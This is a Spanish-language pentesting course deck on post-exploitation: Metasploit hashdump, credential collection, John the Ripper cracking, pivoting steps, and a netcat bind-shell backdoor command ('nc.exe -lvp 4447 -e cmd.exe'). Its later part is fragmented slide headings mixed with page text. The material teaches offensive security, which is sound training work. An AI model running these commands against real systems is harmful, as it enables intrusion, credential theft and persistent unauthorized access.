diapositiva anterior.

Tips: Recuerda que el mejor auditor de sistemas o
Pentester a nivel de Infraestructura no es el que
mejor maneje aplicaciones automatizadas para
hacer auditoria, el mejor Pentester es quien sea
mas experto y tenga experiencia con diversos
sistemas operativos, servicios de red, y en general
conocimientos a nivel de infraestructura. Por lo
anterior es de gran importancia que dediques un
poco de tiempo a estudiar administración básica de
sistemas Windows Server (2003/2008/2012/2016), http://www.microsoft.com/en
-us/sqlserver/default.aspx
y a aprender el funcionamiento del sistema de base
de datos MSSQL Server.
Métodos para mantener el acceso -Romper (Cracking) de Password y
Pass The Hash
Romper (Cracking) de Password y

Pass The Hash
Métodos para mantener el acceso Romper (Cracking) de Password y

Pass The Hash
Otro de los métodos para mantener el acceso que se estudian en este
curso de seguridad y hacking son:
 Cracking de Password
 Pass The Hash.
Teniendo presente que en este curso de seguridad se dedica un módulo de
estudio completo, descrito como «Atacando Passwords»(Password Attacks),
donde se estudiará a fondo los dos métodos mencionados y relacionados con
password para mantener el acceso a un sistema, solo se dará un breve
concepto de este método y se presentará un ejemplo haciendo uso de
Metasploit, Meterpreter y algunos módulos auxiliares, para recolectar y
romper algunos Password de un sistema Windows Server.

Pass The Hash
Control de acceso a un sistema de información: Son muchos los
mecanismos existentes a nuestros días para validar el ingreso de un
usuario a un sistema de información. Entre algunos de los métodos para
validar un usuario a un sistema de información se encuentran:
 Usuario y Password (El más usado!!!)
 Acceso Biométrico (Huella dactilar, Iris del ojo, entre otros)
 Token
 Tarjetas
 Doble autenticación

Pass The Hash
Usuario y Password: Teniendo presente que el uso tradicional de un
usuario y password sigue siendo el método mas usado para acceder a un
sistema, es importante tener presente en el proceso de Post Explotación
que obtener los usuarios y los passwords de un sistema que ha sido
previamente vulnerado por un atacante informático o auditor, es otra de
las estrategias o métodos que se usan para garantizar el acceso futuro
(Posterior) al sistema comprometido de forma previa por el atacante y/o
auditor de seguridad.

Pass The Hash
Conceptos básicos pero importantes respecto a usuarios y passwords: La
administración de las credenciales de acceso (usuario y password) varían
dependiendo del sistema de información, ya que este puede verse
representado por un servicio de red, un sistema operativo, entre otros.
Dependiendo de si es un sistema operativo, o servicio de red, la gestión de los
usuarios y sus respectivos password varían en cuestión de si se cifra o no el
password, el algoritmo usado, el lugar donde se guarda la base de datos con
los usuarios, entre otros. Por lo anterior es importante que el auditor o
atacante informático tenga conocimientos básicos de estos conceptos en
cuestión del sistema operativo o servicio de red que esta atacando o
auditando. (Para ampliar esta información remitirse al módulo «Password
Attacks».
Métodos para mantener el acceso Romper (Cracking) el Password y

Pass The Hash
CONCEPTO

Pass The Hash
Ejemplo para obtener usuarios y romper password de usuarios de
sistemas Windows: Para el siguiente ejemplo se obtendrá la base de
datos donde los sistemas Microsoft Windows guardan los usuarios y los
passwords. Teniendo presente que los password se guardan de forma
cifrada a razón de la aplicación de una función llamada HASH y un
algoritmo aplicado, dichos password se obtendrán cifrados, por lo que
finalmente el atacante o auditor informático debe proceder a descifrarlos
haciendo uso de un procesos de Cracking de Password básico.
Anotación de Interés: Para conocer a fondo la teoría y conceptos de las contraseñas
de los sistemas Windows, remitirse al módulo, el cual se estudiara la siguiente
semana de estudio «Password Attacks».

Pass The Hash
sistemas Windows: El ejemplo parte de que el atacante o auditor informático
ha explotado de forma previa una vulnerabilidad en el sistema victima y tiene
una shell de meterpreter. Una vez que el atacante tiene la shell de meterpreter
en la victima, procede a realizar un volcado a la base de datos de Windows que
contiene los usuarios y sus respectivos passwords cifrados. Lo anterior se logra
con el comando meterpreter hashdump.

Pass The Hash
sistemas Windows: Una vez que el atacante o auditor informático obtiene
los usuarios con sus respectivos password cifrados, el paso siguiente es
tratar de reventarlos o romperlos con alguna técnica y software de
cracking de password. Es importante tener presente que el proceso de
Cracking de Password se hace offline (No directamente sobre el sistema
victima). Para el caso de este ejemplo se usaran dos módulos auxiliares
del Framework de explotación Metasploit, los cuales son:
 post/windows/gather/credentials/credential_collector
 auxiliary/analyze/jtr_crack_fast

Pass The Hash
sistemas Windows: «credential_collector» Es un modulo de metaspoloit,
el cual permite recolectar credenciales de los sistemas que se han
comprometido, y registrar dichas credenciales en la base de datos a la
cual esta conectada metasploit. El modulo puede encontrase en:
modules/post/windows/gather/credentials/credential_collector
Uso de credential_collector: El uso de este módulo es relativamente
sencillo, solo se le tiene que asignar el ID de la sesión meterpreter que se
tiene en funcionamiento con el sistema victima, y luego darle el comando
run, tal y como se puede apreciar en la siguiente diapositiva.

Pass The Hash
sistemas Windows: «credential_collector» Configurando el modulo.

Pass The Hash
sistemas Windows: «credential_collector» Ejecutando el modulo.

Pass The Hash
sistemas Windows: «credential_collector» Observando los resultados.

Pass The Hash
sistemas Windows: «jtr_crack_fast». Luego que se tienen las
credenciales del sistema Windows Server que se esta usando como
victima en este ejemplo, el siguiente paso es usar el módulo de metasploit
descrito como jtr_crack_fast para intentar romper los passwords cifrados
de los usuarios que se han obtenido con el uso del modulo de metasploit
credential_collector

Pass The Hash
sistemas Windows: «jtr_crack_fast» es un modulo auxiliar de Metasploit
el cual utiliza el conocido Crackeador de Password John the Ripper para
identificar passwords débiles que se han adquiridos de forma previa en
formato HASH. La principal función de este módulo auxiliar de metasploit es
encontrar pasword débiles en un corto periodo de tiempo. Esta versión del
Crackeador de Password John the Ripper en Metasploit utiliza una lista y
regla de palabras estándar y solo trabaja con los algoritmos NT Y LM HASH.
Anotación de Interés: Para ampliar información del Crackeador de Password John

the Ripper remitirse al Módulo “Password Attacks” o al sitio web:
http://www.openwall.com/john/

Pass The Hash
sistemas Windows: «jtr_crack_fast»
Uso de jtr_crack_fast: El módulo se encuentra en
modules/auxiliary/analyze/jtr_crack_fast, y su uso es relativamente
sencillo, solo se le tiene que indicar a Metasploit el uso de dicho modulo y
luego ejecutar el comando run. El módulo por defecto comienza a tratar
de reventar los password débiles de los usuarios registrados en la base de
datos de Metasploit y obtenidos de forma previa con el modulo
credential_collector. En la siguiente diapositiva se puede ver el
funcionamiento del módulo jtr_crack_fast.

Pass The Hash
sistemas Windows: «jtr_crack_fast» Configuración del modulo.

Pass The Hash
sistemas Windows: «jtr_crack_fast» Ejecutando el modulo.

Pass The Hash
sistemas Windows: «jtr_crack_fast» Observando los resultados.
Para el caso se identifica que se pudieron romper dos passwords, uno

perteneciente al usuario administrador, el cual tiene como password la
palabra password, y el otro corresponde a la cuenta que se ha creado en
ejemplos pasados, la cual es la cuenta sysadmin con password sys2015SYS

Pass The Hash
Actividad extra: Atacando Linux!!!!!
Ejemplo para obtener usuarios de un sistema Linux, usando los siguientes
módulos:
 exploit/multi/misc/java_rmi_server
 post/linux/gather/hashdump
PIVOTING
Pivoting
Pivoting: Otra de las actividades que hacen parte del proceso de Post
Explotación es hacer Pivoting a otros subredes y host. Pivoting consiste
en tener acceso a otros host de otras subredes por intermedio de un
equipo que ha sido comprometido mediante la explotación de una
vulnerabilidad. De una manera mas concreta Pivoting es un método
usado por los auditores y atacantes informáticos para explotar un
sistema, para poder atacar otros sistemas.
Es importante tener presente que el hecho de que el atacante o
auditor Informático descubra nuevos objetivos, esto no implica que
pueda vulnerarlos, pero si puede intentarlo.
Pivoting
Razones para utilizar el método de Pivoting: Dentro de las razones mas

destacadas que un atacante informático o auditor de seguridad tiene
para hacer Pivoting se encuentran:
 Poder alcanzar zonas de red y sistemas que están conectados solo a la

red interna, y que no son visibles desde la red Internet.
 Atacar sistemas mas representativos o que impliquen mas riesgos
para una compañía o negocio.
Pivoting
Escenario para un ataque usando el método de Pivoting: En el siguiente
escenario se puede apreciar un entorno totalmente funcional en el cual
un atacante o auditor informático pueda utilizar el método de Pivoting
Servidor 1
Switche de red
NIC 1: 201.2.2.2
NIC 2: 192.168.2.2
201.2.2.8
192.168.2.3
Servidor 2
Pivoting
Escenario para un ataque usando el método de Pivoting: Respecto al
escenario planteado en la diapositiva anterior, se tiene lo siguiente:
 El atacante o auditor informático no tiene conexión directa al sistema

descrito como Servidor 2.
 El atacante o auditor informático primero debe de comprometer
Servidor 1, para por intermedio de este poder a atacar a Servidor 2.
 Servidor 2 hace parte de la red interna descrita como Intranet.
Pivoting
Metasploit y Pivoting: Metasploit tiene varias herramientas que pueden
apoyar las labores de Pivoting para un auditor o atacante informático,
dentro de las cuales se destacan:
 Códigos de Explotación
 Códigos Payload
 Módulos auxiliares
 Armitage
El Payloaod meterpreter es un Payload que permite realizar labores de

Pivoting de una manera fácil.
Pivoting
Pasos a seguir para realizar Pivoting usando Metasploit: Para hacer un
procesos de Pivoting haciendo uso de la herramienta de auditoria
Metasploit, se deben de tener presente los siguientes pasos:
 Identificar sistema victima 1

 Explotar sistema victima 1
 Identificar subredes e interfaces de red en victima 1
 Identificar victimas 2,3,4… (Scanning ARP)
 Crear ruta a subred vcitmas 2,3,4…
 Scanning de puertos y vulnerabilidades a nuevas victimas
 Explotación de nuevas victimas

1 POST Explotacion

Cargado por

Copyright:

Formatos disponibles

1 POST Explotacion

Cargado por

Información del documento

Título original

Derechos de autor

Formatos disponibles

Compartir este documento

Compartir o incrustar documentos

Opciones para compartir

¿Le pareció útil este documento?

¿Este contenido es inapropiado?

Copyright:

Formatos disponibles

1 POST Explotacion

Cargado por

Copyright:

Formatos disponibles

Certified Offensive and Defensive Security Professional

Fase Post- Explotación

 Ataques del lado cliente e Ingeniería social

La fase de la Post- Explotación es la fase consecuente al proceso de

Dentro de las características importantes del proceso de Post- Explotación

Dentro de los actividades mas comunes que un atacante informático o

Son muchas las herramientas y técnicas que pueden usarse para

 Pivoting entre subredes en el sistema y/o red victima

multi/handler, es un código de explotación (Exploit) algo especial dentro

Características del módulo exploit multi/handler:

 La ruta donde se encuentra el codigo fuente de este módulo es:

Teniendo presente que durante un proceso de Post Explotación se

Una vez que un atacante informático o auditor de seguridad ha logrado

Ejemplo: En el siguiente ejemplo se explota una vulnerabilidad en un

Luego se asignan las variables que solicita el respectivo código exploit y

Una vez que se ha lanzado el ataque con la información mencionada en al

Anotaciones de Interés: Respecto al ejemplo anterior, es importante

 El sistema victima no tenga una protección actualizada de Antivirus

Otras formas de escalar privilegios: Existen muchas técnicas,

 Ejecutar un código de explotación de forma local

Metasploit y Meterpreter: Teniendo presente el uso del Framework de

Anotación de Interés: El comando getsystem pertenece a la extensión

Metasploit y Meterpreter: «Un poco mas del comando getsystem».

 Para obtener la ayuda de este comando, se debe de escribir desde una

Metasploit y Meterpreter: «Un poco mas del comando getsystem».

Tips: Tener presente que elevar privilegios

Una vez que un atacante informático o auditor de seguridad ha logrado

Métodos para mantener el acceso: Dentro de los métodos mas comunes

Métodos para mantener el acceso

Métodos para mantener el acceso -Infectar el sistema con una puerta

Métodos para mantener el acceso -Infectar el sistema con una puerta

Para ampliar información sobre este concepto remitirse al siguiente link:

Métodos para mantener el acceso -Infectar el sistema con una puerta

Métodos para mantener el acceso -Infectar el sistema con una puerta

Métodos para mantener el acceso -Infectar el sistema con una puerta

Métodos para mantener el acceso -Infectar el sistema con una puerta

Métodos para mantener el acceso -Infectar el sistema con una puerta

Métodos para mantener el acceso -Infectar el sistema con una puerta

Métodos para mantener el acceso -Infectar el sistema con una puerta

Anotación: Ambas herramientas se han usado y estudiado en módulos anteriores.

Métodos para mantener el acceso -Infectar el sistema con una puerta

Métodos para mantener el acceso -Infectar el sistema con una puerta

Métodos para mantener el acceso -Infectar el sistema con una puerta

Métodos para mantener el acceso -Infectar el sistema con una puerta

Métodos para mantener el acceso -Infectar el sistema con una puerta

nc.exe -lvp 4447 -e cmd.exe

Métodos para mantener el acceso -Infectar el sistema con una puerta

Métodos para mantener el acceso -Infectar el sistema con una puerta

Métodos para mantener el acceso -Infectar el sistema con una puerta

Métodos para mantener el acceso -Infectar el sistema con una puerta

Tips: Haciendo un análisis de la herramienta

Métodos para mantener el acceso – Puertas Traseras ,Habilitar servicios

Métodos para mantener el acceso -Infectar el sistema con una puerta

Métodos para mantener el acceso -Infectar el sistema con una puerta

Métodos para mantener el acceso -Infectar el sistema con una puerta

Métodos para mantener el acceso -Infectar el sistema con una puerta

Puerto 31337 TCP abierto, y esperando

Métodos para mantener el acceso -Infectar el sistema con una puerta

Luego se asignan las variables que solicita el respectivo código exploit y